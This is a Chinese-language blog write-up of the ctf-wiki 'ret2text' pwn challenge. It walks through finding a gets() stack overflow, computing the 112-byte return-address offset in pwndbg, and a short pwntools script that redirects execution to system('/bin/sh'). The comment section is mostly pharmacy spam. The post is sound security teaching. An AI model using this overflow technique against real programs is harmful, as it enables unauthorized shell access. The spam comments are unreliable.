ret2text

ret2text:即控制程序执行程序本身已有的的代码 (.text)

请注意,本文编写于 91 天前,最后修改于 51 天前,其中某些信息可能已经过时。

1.简介

ret2text:即控制程序执行程序本身已有的的代码 (.text)。也就是说,在该ELF的.text代码段中是存在可以利用的代码的,如存在system(“/bin/sh”)的代码。

题目来自:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2text

2.保护措施

1583673795174
1583673795174

NX:数据段不可执行

3.寻找利用点

3.1 存在gets函数,存在栈溢出

1583673819880
1583673819880

gets:危险函数
gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,可以包含空格,以回车结束读取。

因为该函数可以无限读取,所以应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。如果溢出,多出来的字符将被写入到堆栈中,这就覆盖了堆栈原先的内容,破坏一个或多个不相关变量的值。这个事实导致gets函数只适用于玩具程序。

3.2 发现 system("/bin/sh");

1583673856950
1583673856950

控制程序执行到该位置,即可get shell

0x0804863a

4. 如何利用

首先,打断点

b *0x080486a7

然后

r

1583673875525
1583673875525

4.1 手动计算偏移

字符串对于esp的索引 esp+0x1c

esp+0x1c= 0xffffcc00 + 0x1c = 0xffffcc1c

s相对于ebp的偏移:

ebp - 0xffffcc1c = 0xffffcc88 - 0xffffcc1c = 0x6c

相对于返回地址的偏移:

0x6c + 4

4.2 利用pattern计算偏移

pwndbg 不自带 pattern,很可惜。

安装pattern:
https://github.com/ickerwx/pattern

vim ~/.zshrc
alias pattern="python /home/lushan/Tools/pattern.py"

使用帮助

➜  ~ pattern           
Usage: /home/lushan/Tools/pattern.py (create | offset) <value> <buflen>

1.生成字符串

pattern.py create 200

1583673899113
1583673899113

1583673909975
1583673909975

1583673922626
1583673922626

偏移为112,等于手动计算的0x6c+4

5. Get Shell

cat exp.py

from pwn import *

sh = process('./ret2text')
target = 0x0804863a
payload = "A"*(0x6c+4) + p32(target)
sh.sendline(payload)
sh.interactive()

1583673937449
1583673937449

添加新评论

请不要水评论

已有 9 条评论

Hi! cialis 10mg originaldove acquistare cialis su internet buy cialis australia paypal acheter du cialis quebeccialis and increased heart rate cialis online

Hi! cialis for fibromyalgiajual cialis jakarta buy cialis rx truth about generic cialiscialis standard dose 20 mg buy cialis in south africa

Hi! lushan.me wo kann ich cialis bestellencialis tabletten was ist das buy cialis by phone cialis price in kuwaitsito sicuro comprare cialis buy cialis online pay paypal

I am really enjoying the theme/design of your weblog.

Do you ever run into any web browser compatibility problems?

A number of my blog readers have complained about my blog
not operating correctly in Explorer but looks great in Chrome.
Do you have any tips to help fix this problem?

Hi! cialis physician samplescialis 100mg pills buy cialis overseas cialis general anesthesiacomprar cialis barato portugal buy cialis in jakarta

lushan.me cialis due giorni consecutivicialis for sale china Health cialis has stopped workingcialis generika 2 5 Health alternative a cialis

Microzide Cialis Acheter Viagra Paris En Antony cialis generic buy Buying Provera

Purchase Sildenafil Citrate Cialis Amoxicillin And Neurontin Ineractions Buy Cialis Canadian Pharmacy Mail Order

虽然图片有点糊,但是问题不大。